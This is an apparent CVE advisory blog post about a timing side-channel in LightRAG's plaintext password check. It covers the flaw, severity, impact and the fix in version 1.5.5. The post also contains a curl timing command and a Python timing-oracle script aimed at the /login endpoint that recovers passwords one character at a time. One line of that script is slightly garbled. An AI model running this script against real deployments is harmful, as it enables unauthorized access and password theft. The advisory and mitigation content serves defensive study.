Listen to this Post
CVE-2026-85725 is a timing side-channel vulnerability in HKUDS LightRAG versions prior to 1.5.5. The flaw resides in the `verify_password` function within lightrag/api/passwords.py. When `AUTH_ACCOUNTS` contains a plaintext password (i.e., not prefixed with {bcrypt}), the function compares the user-supplied password against the stored value using Python’s `==` operator. This comparison is not constant-time; it short-circuits and returns `False` as soon as the first mismatched byte is encountered. Consequently, the time taken to complete the comparison is dependent on the number of leading bytes that match between the guess and the actual password.
An attacker with low-latency network access can exploit this discrepancy by sending authentication requests to the `/login` endpoint and precisely measuring the response times. By iteratively extending a guess string with different characters and observing which one consistently produces a slightly longer response time, the attacker can deduce the correct password one character at a time. For example, if the correct password is “admin”, a guess of “a” will take marginally longer to fail than a guess of “b”, because the comparison proceeds past the first byte. Repeating this process for each subsequent character allows the attacker to reconstruct the entire plaintext password. The vulnerability is classified as CWE-208 (Observable Timing Discrepancy) and carries a CVSS 3.1 base score of 5.9, which is Medium severity. The attack complexity is rated as High due to the need for precise timing measurements and low-latency access. This issue only affects deployments that store plaintext passwords in AUTH_ACCOUNTS; systems using bcrypt-hashed passwords are not vulnerable to this specific comparison path.
DailyCVE Form:
Platform: LightRAG
Version: < 1.5.5
Vulnerability : CWE-208
Severity: Medium
date: 2026-09-22
Prediction: 2026-07-31
What Undercode Say
Analytics
The following bash commands and Python code demonstrate how an attacker could analyze the timing discrepancy to recover a plaintext password. This is strictly for educational and defensive purposes.
Measure baseline response time for a known invalid password
curl -o /dev/null -s -w "%{time_total}\n" -X POST http://<TARGET>:9621/login -d "username=admin&password=wrong"
Simplified timing oracle script
import httpx
import time
import string
TARGET = "http://<TARGET>:9621/login"
USER = "admin"
def measure(pwd: str) -> float:
t = time.perf_counter()
httpx.post(TARGET, data={"username": USER, "password": pwd})
return time.perf_counter() - t
known = ""
for _ in range(32):
best = max(string.printable, key=lambda c: sum(measure(known + c + "A" 20) for _ in range(10)))
known += best
print(f"Recovered: {known}")
Exploit: (Educational Purposes!)
The exploit involves using the timing oracle to recover the password character by character. An attacker would send many requests with different character guesses for each position, measuring the response times to identify the correct character. This process is repeated until the entire password is recovered. The absence of rate limiting or account lockout on the `/login` endpoint in affected versions facilitates this attack.
Protection: from this CVE
To mitigate CVE-2026-85725, users should upgrade LightRAG to version 1.5.5 or later. The fix replaces the non-constant-time `==` operator with a constant-time comparison function for plaintext passwords. Additionally, it is strongly recommended to avoid storing plaintext passwords in `AUTH_ACCOUNTS` and instead use bcrypt-hashed passwords, which are already handled with a constant-time comparison in the affected function.
Impact
Successful exploitation allows an attacker to recover plaintext passwords configured in `AUTH_ACCOUNTS` character by character. This can lead to unauthorized access to the LightRAG instance. The attack does not require authentication and can be performed remotely over the network, although it requires low-latency access for reliable timing measurements. The confidentiality impact is High, while integrity and availability impacts are None.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
